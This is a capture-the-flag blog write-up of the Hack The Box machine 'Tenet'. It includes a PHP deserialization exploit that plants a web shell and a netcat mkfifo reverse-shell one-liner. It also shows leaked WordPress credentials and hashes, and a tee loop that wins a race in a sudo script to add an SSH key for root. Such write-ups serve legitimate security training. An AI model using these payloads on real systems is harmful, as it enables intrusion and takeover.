7 minute read Leia também em :brazil: Share

Hello guys!

This week’s machine will be Tenet, another medium-rated Linux box from Hack The Box, created by egotisticalSW.

:information_source: Info: Write-ups for Hack The Box machines are posted as soon as they’re retired.

HTB Tenet

Before starting the resolution of this box, the image above called my attention, where I searched about TENET on the Internet and found about the Sator Square, where we have a palindrome made up of the 5 Latin words: SATOR, AREPO, TENET, OPERA e ROTAS, forming a square being TENET in the center lines. Is highly probable that these words will appear during its resolution :smile:.


As usual, started with a quick nmap scan to identify the published services:

$ nmap -sC -sV -Pn -oA quick
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-27 14:36 -03
Nmap scan report for
Host is up (0.079s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.06 seconds

80/TCP - HTTP Service

Accessing this page noticed that was from the default Apache install so started right away to enumerate the directories using gobuster where I’ve found the WordPress directory.

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u -o gobuster.txt -x php,txt,html
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt,html
[+] Timeout:        10s
2021/02/27 14:44:51 Starting gobuster
/index.html (Status: 200)
/users.txt (Status: 200)
/wordpress (Status: 301)
Progress: 5055 / 220561 (2.29%)^C
[!] Keyboard interrupt detected, terminating.
2021/02/27 14:48:08 Finished

Once accessed it the page was loaded without formatting and, inspecting the source code, all the assets were pointing to tenet.htb, which was later added to /etc/hosts file.

Accessing the page again, checking that it was properly rendered now, and then using wpscan to enumerate version, users, and plugins, where I’ve identified this WordPress version as 5.6, no plugins and the users protagonist and neil.

As accessing the webpage again from the URL errors are shown, as the image below, accessed the address seen in source code (http://tenet.htb) full blog is displayed.

HTB Tenet - 80/TCP

In the WordPress instance available at http://tenet.htb/wordpress, noticed some posts where one of them was mentioning an application called Rotas, which could contain some item we could abuse to get an initial foothold in this box.

This Is Where Our Worlds Collide We’re looking for beta testers of our new time-management software, ‘Rotas’ ‘Rotas’ will hopefully be coming to market late 2021, pending rigorous QA from our developers, and you! For more information regarding opting-in, watch this space.

Things get more interesting in an older post, where user neil comments the content below:

did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!

Trying to access the file sator.php from the directory published under the DNS name hasn’t returned anything, but I’ve succeeded using the machine IP address, getting the output below:

HTB Tenet - sator.php

As we have a backup of this file somewhere and backups are often renamed as old or bak, after a few attempts I have found the file sator.php.bak in the same directory as the previous, with the following content:


class DatabaseExport
    public $user_file = 'users.txt';
    public $data = '';
    public function update_db()
        echo '[+] Grabbing users from text file <br>';
        $this-> data = 'Success';
    public function __destruct()
        file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
        echo '[] Database updated <br>';
        //    echo 'Gotta get this working properly...';

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


As we can see we could exploit it using PHP Deserialization, once it doesn’t validate the inputs received using the GET method from the query string arg arepo, allowing us to modify the payload to be stored in the database file.

Initial access

The first step to the reverse shell was to create a serialized PHP payload to be sent in a request via arepo arg. Searching a little about it I have found this exploit sample which was later modified to store a simple web shell in the box, later used to get a reverse shell.


class DatabaseExport
    public $user_file = 'shell.php';
    public $data = '<?php system($_GET["cmd"]); ?>';
    public function update_db()
        echo '[+] Grabbing users from text file <br>';
        $this-> data = 'Success';
    public function __destruct()
        file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
        echo '[] Database updated <br>';
        //    echo 'Gotta get this working properly...';

$url = '';
$arepo = $url . urlencode(serialize(new DatabaseExport));
$response = file_get_contents("$arepo");
print "$response";

After its execution, I was able to issue the id command by using curl as we can see below.

$ php exploit.php
[] Database updated <br>[+] Grabbing users from text file <br>
[] Database updated <br>[] Database updated <br>   

$ curl -L
uid=33(www-data) gid=33(www-data) groups=33(www-data)

As we had a confirmed RCE, make the call to obtain a reverse shell as the following example:

curl -G --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4443 >/tmp/f"

User Flag

Accessing the box, once we already knew that at least one WordPress instance was present, searched for the wp-config.php file where I got the credentials for user neil

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

As credential reuse is common, running su neil and providing the recently found password, we have succeeded in accessing the machine as this user and getting the user flag.

neil@tenet:~$ id
uid=1001(neil) gid=1001(neil) groups=1001(neil)
neil@tenet:~$ cat ~/user.txt

Root Flag

In the path for root flag, decided to dump the database credentials in this machine, returning the following hashes.

mysql> select user_login,user_pass from wp_users;
| user_login  | user_pass                          |
| protagonist | $P$BqNNfN07OWdaEfHmGwufBs.b.BebvZ. |
| neil        | $P$BtFC5SOvjEMFWLE4zq5DWXy7sJPUqM. |
2 rows in set (0.00 sec)

Before trying to crack those hashes, being protagonist password reused from root, decided to check which permissions did neil had by running sudo -l, which resulted in the output below.

Matching Defaults entries for www-data on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User www-data may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

Inspecting the content of this file, we can see that it can be used to activate SSH login for root enforcing an existing SSH public key.


checkAdded() {
    sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
    if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
        /bin/echo "Successfully added $sshName to authorized_keys file!"
        /bin/echo "Error in adding $sshName to authorized_keys file!"

checkFile() {
    if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
        /bin/echo "Error in creating key file!"
        if [[ -f $1 ]]; then /bin/rm $1; fi
        exit 1

addKey() {
    tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
    (umask 110; touch $tmpName)
    /bin/echo $key >>$tmpName
    checkFile $tmpName
    /bin/cat $tmpName >>/root/.ssh/authorized_keys
    /bin/rm $tmpName

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"

As we don’t have the private key, we could hijack its execution because the function addKey creates a temporary file containing the public key to be added to root’s authorized keys, having a race condition. If we could manage to overwrite this file during the script execution, we could inject our public key instead of the one present in the script.

The challenge here is to predict the name of the file created, once it uses the mktemp command, but as we have an idea of its format (/tmp/ssh-XXXXX) we could find a way to paste the contents from our public key to all files matching the same pattern. After some tests and research, the command tee was the solution, allowing us to output a content to multiple files at the same time. The simple script below was created to do this task.

while true; do
        echo "ssh-rsa AAAA..............BBBB= root@ubuntu" | tee /tmp/ssh-* 2> /dev/null;

With the above script in execution, simply executed the bash script with sudo and then connected to the box with the previously created ssh private key, granting me root access and allowing me to get the root flag :smiley:

neil@tenet:/tmp$ sudo  /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!
neil@tenet:/tmp$ ssh -i tenet root@tenet.htb
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
root@tenet:~# id
uid=0(root) gid=0(root) groups=0(root)
root@tenet:~# cat /root/root.txt

I hope you guys have enjoyed this box resolution!

See you in the next post! :smiley: